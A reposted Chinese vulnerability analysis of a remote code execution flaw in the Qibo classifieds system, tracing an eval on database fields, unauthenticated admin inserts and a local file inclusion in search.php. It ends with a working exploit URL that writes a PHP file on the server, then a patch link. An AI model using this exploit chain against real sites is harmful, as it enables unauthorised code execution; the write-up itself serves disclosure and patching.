IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    齐博分类系统远程代码执行漏洞

    没穿底裤发表于 2015-07-15 16:13:05
    love 0

    作者:

    阿里巴巴安全研究实验室—扶夙

    受影响系统:qibo所有产有产品都存在类似问题

    0x00背景

    阿里Hydra系统于2015.6.30号监测到齐博多系统发布补丁,修补了Hydra系统于5月份分析的漏洞以及最新乌云爆的远程代码执行漏洞。通过Hydra系统得知,该补丁修改了全局文件inc/common.inc.php。分类系统修改了jf.php、admin.php。

    TB1mmb5IpXXXXcgXVXXXXXXXXXX[1]

    TB1VaT7IpXXXXa4XVXXXXXXXXXX[1]

    0x01 分析

    以分类系统为例分析该漏洞及前台无限制远程代码执行。

    通过搜索eval调用,查找到/var/www/v7_utf8/do/jf.php文件,存在潜在的代码执行漏洞。

    $query = $db->query("SELECT * FROM {$pre}jfsort ORDER BY list");
    
    while($rs = $db->fetch_array($query)){
    
           $fnameDB[$rs[fid]]=$rs[name];
    
           $query2 = $db->query("SELECT * FROM {$pre}jfabout WHERE fid='$rs[fid]' ORDER BY list");
    
           while($rs2 = $db->fetch_array($query2)){
    
                  eval("\$rs2[title]=\"$rs2[title]\";");
    
                  eval("\$rs2[content]=\"$rs2[content]\";");
    
                  $jfDB[$rs[fid]][]=$rs2;
    
           }
    
    }

    可以看到title和content字段从数据库pre_jfabout中取出,如果该参数可控,则可导致远程代码执行漏洞。搜索jfabout关键字,寻找insert或者update操作,查找可控的title和content内容,找到文件/var/www/qiblog/hack/jfadmin/admin.php。

    elseif($action=="addjf"&&$Apower[jfadmin_mod])
    
    {
    
           $db->query("INSERT INTO `{$pre}jfabout` ( `fid` , `title` , `content`, `list` ) VALUES ( '$fid', '$title', '$content', '$list' )");
    
           jump("��ӳɹ�","index.php?lfj=jfadmin&job=listjf&fid=$fid",1);
    
    }

    及:

    elseif($action=="editjf"&&$Apower[jfadmin_mod])
    
    {
    
           $db->query("UPDATE `{$pre}jfabout` SET `fid`='$fid',`title`='$title',`content`='$content' WHERE id='$id'");
    
           jump("��ӳɹ�","index.php?lfj=jfadmin&job=listjf&fid=$fid",1);
    
    }

     

    可以看到,title、content内容可控,通过POST提交即可进入数据库。

    通过unset掉Apower变量,搜索利用方法。

    前台利用,因为该文件需要Apower变量不为空,验证了是否具有管理员权限。但Apower变量末初始化,假设能调用/hack/jfadmin/admin.php,并覆盖该参数即可。前台搜索找到search.php有本地文件包含漏洞。可以利用该点来利用。

    Search.php:

    $fid_select="<select name='fid' onChange=\"if(this.options[this.selectedIndex].value=='-1'){alert('�㲻��ѡ������');}\"><option value='0' style='color:#aaa;'>������Ŀ</option>";
    
    foreach( $Fid_db[0] AS $key=>$value){
    
    $fid_select.="<option value='-1' style='color:red;'>$value</option>";
    
    foreach( $Fid_db[$key] AS $key2=>$value2){
    
    $ckk=$fid==$key2?' selected ':' ';
    
    $fid_select.="<option value='$key2' $ckk>  |--$value2</option>";
    
    }
    
    }
    
    $fid_select.="</select>";
    
    
    
    $postdb[city_id] && $city_id  =     $postdb[city_id];
    
    $postdb[street_id]    && $street_id     =     $postdb[street_id];
    
    $postdb[zone_id]      && $zone_id      =     $postdb[zone_id];
    
    
    
    @include_once(ROOT_PATH."data/zone/$city_id.php");

     

    $city_id为$postdb[city_id]变量而来可控。可直接包含利用。

    0x02 利用

    通过以上分析可知,首先通过admin.php将恶意代码插入数据库,然后再从jf.php取出数据即可代码执行。前台利用文件包含覆盖Apower变量进入addjf即可远程利用。

     

    利用:

    http://192.168.80.133:81/fenlei1.0/search.php?mid=1&action=search&keyword=asd&postdb[city_id]=../../admin/hack&hack=jfadmin&action=addjf&Apower[jfadmin_mod]=1&fid=1& title=test&content=${@fwrite(fopen('ali.php', 'w+'),'test')}&list=1

     

    即可在admin目录下生成ali.php。

    或者普通用户访问/do/jf.php,即可在do目录下生成ali.php文件

    0x03 修复

    手段:更新官方补丁

    补丁链接:

    http://bbs.qibosoft.com/job-forum-action-download-pid-tpc-tid-422299-aid-92428.htm



沪ICP备19023445号-2号
友情链接